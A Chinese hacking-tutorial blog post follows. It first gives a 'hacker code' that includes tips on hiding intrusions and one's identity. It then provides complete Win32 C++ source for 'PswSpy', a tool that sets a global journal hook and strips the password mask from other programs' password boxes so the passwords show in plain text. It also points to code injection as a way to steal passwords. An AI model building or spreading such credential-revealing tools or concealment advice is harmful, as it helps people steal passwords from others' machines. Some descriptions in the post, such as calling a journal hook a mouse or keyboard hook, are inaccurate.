引论
什么是黑客,不同于骇客,黑客一词来源于“Hacker”,意思是劈,斩,对于黑客来说学会入侵和破解是提升自己和学习的过程,最重要的是编程能力,因为依赖大多数工具是体现不出自己水平的,所以这样说来很多安全软件公司的程序猿本身就是高明的黑客。
但是,骇客就不是这样了,骇客本身不需要学习如此多的语言,他们追求的是入侵的快感,盗取人家的私密,看现在网上大量艳照的流出,基本都是骇客干的好事,他们不一定会编程,也不一定有高深的技术,也不知道入侵具体细节,就是利用现有的工具来达到他们的目的,骇客的入门门槛很低,所以社会上出现了越来越多的骇客,给社会造成巨大的损失。
而对于黑客来说,黑客是有原则的我们看下黑客守则:
1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦。恶意破坏它人的软件将黑客守则
黑客守则
导致法律责任, 如果你只是使用电脑, 那仅为非法使用。 注意:千万不要破坏别人的文件或数据。
不修改任何系统文件, 如果你是为了要进入系统而修改它, 请在达到目的后将它还原;如果为了隐藏自己的侵入而作的修改, 仍须维持原来系统的安全性, 不得因得到系统的控制权而破坏原有的安全性。
不要轻易的将你要 Hack 的站点告诉你不信任的朋友。
不要在 bbs/论坛上谈论关于你 Hack 的任何事情。
在 Post 文章的时候不要使用真名。
入侵期间, 不要随意离开你的电脑。
不要入侵或攻击电信/政府机关的主机。
不在电话中谈论关于你 Hack 的任何事情。
将你的笔记放在安全的地方。
- 已侵入电脑中的帐号不得删除或修改。
- 不将你已破解的帐号分享与你的朋友
- 不会编程的黑客不是好黑客,读遍所有有关系统安全或系统漏洞的文件。
话就说到这里现在开始学习我们的鼠标钩子:首先大家准备好VS2008,2010,VS2012,新建一个空的–windows应用程序–win32项目–项目名称Spy,意思是间谍。为该项目添加一个对话框资源,对着新建项目点击鼠标右键–添加–资源–Dialog,然后拖拉控件,做成如下UI:
然后开始对每个控件ID进行修改,修改ID是为了之后代码更好调用。
我们目前5个控件:
1.Dialog ID:IDD_DIALOG
2.Static Text ID:IDC_STATIC
3.Edit Control ID:IDC_EDIT
4.Button ID:IDCOK
5.Button ID:IDCCANCEL
修改ID值需要右键控件,属性–修改ID
接下来是进入代码部分了右键项目创建一个cpp文件,文件名为“PswSpy”意思是 password spy 键盘监听器。代码如下:
#include "resource.h"
#include <Windows.h>
#include<iostream>
using namespace std;
//全局钩子句柄
HHOOK hHook=NULL;
/////////////////////////////
//函数声明部分
/////////////////////////////
//鼠标钩子过程
LRESULT CALLBACK HookProc(int code,WPARAM wparam,LPARAM lparam);
//窗口过程
int CALLBACK DlgProc(HWND hDlg,UINT uMmsg,WPARAM wParam,LPARAM lParam );
//主函数
int APIENTRY WinMain(__in HINSTANCE hInstance,__in_opt HINSTANCE hPrevIntance,__in_opt LPSTR lpCmdLine,__in int nShowCmd){
return
DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG),NULL,DlgProc);//绑定ID,方法,类似于安卓findviewByID
//根据对话框模板资源创建一个模态对话框
}
//窗口过程处理函数,处理消息事件
/*
HWND 待接收消息的窗口句柄
UINT 指定被发送的消息
WPARAM指定附加的消息参数
LPARAM指定附加的消息参数
*/
int CALLBACK DlgProc(HWND hDlg,UINT uMmsg,WPARAM wParam,LPARAM lParam )//这里wParam低16位表示控件ID号,高16位表示消息通知码
{
switch (uMmsg)
{//控件给父窗口发送通知
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDCCANCEL:
{
UnhookWindowsHookEx(hHook);
EndDialog(hDlg,wParam);//关闭窗口,hDLG表示要清除的窗口句柄
}
break;
case IDCOK:
{ //调用鼠标钩子过程函数
hHook=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,GetModuleHandle(NULL),0);
}
break;
}
}
break;
case WM_CLOSE:
{
EndDialog(hDlg,0);
}
break;
}
return 0;
}
//调用鼠标钩子函数
LRESULT CALLBACK HookProc(int code,WPARAM wparam,LPARAM lparam){
HWND hwnd;
POINT point;
//获得鼠标位置
GetCursorPos(&point);
//得到鼠标的窗口句柄;
hwnd=WindowFromPoint(point);
//得到窗口风格
long nStyle=GetWindowLong(hwnd,GWL_STYLE);
EVENTMSG * event=(EVENTMSG * )lparam;
//是否为密码左键
if(event->message==WM_LBUTTONDOWN){
//判断是否为密码框
if(nStyle&ES_PASSWORD){
PostMessage(hwnd,EM_SETPASSWORDCHAR,0,0);
}
}
return CallNextHookEx(hHook,code,wparam,lparam);
}
我们来测试一下效果,ctrl+F5组合键运行代码:
在对话框输入密码:
鼠标点击查看后将鼠标移到密码框点击鼠标左键,发现密码显示出来了
这个过程可能杀毒软件,360会提示你键盘被监控了,这里一个小小的星号密码查看器级别还是较低,刚刚浮出水面就被发现了,我们再随意找几个自己编的软件试试,发现成功破译了,但是当我打开QQ或者是较为熟知的软件,我的鼠标钩子就不起作用了,原因是人家的软件早就防你这手啦,那么做到这里相信大家对鼠标钩子是什么感到好奇吧。
Windows将Edit Control的Password属性设为true来提高用户输入密码安全性,但是这种窗口密码并不安全,在windows2000以前,可以向远程进程密码编辑框发送WM_GWTTEXT来获取密码,于是windows学聪明了,之后的版本已经不允许跨进程密码读取了,但是高端的方法又出来了,黑客可以讲代码注入到远程进程的方法来获取密码。
然而我们的密码查看器就比较简单了,主要就是通过改变远程窗口密码编辑框password属性直接显示密码
流程:
当前进程通过响应WM_MOUSEMOVE获取鼠标指针位置,根据坐标获取窗口句柄,得到窗口名称和风格,判断是不是密码框,然后发送PostMessage(hwnd,EM_SETPASSWORDCHAR,0,0);,取消密码框password属性,这样密码就以明文方式显示出来了。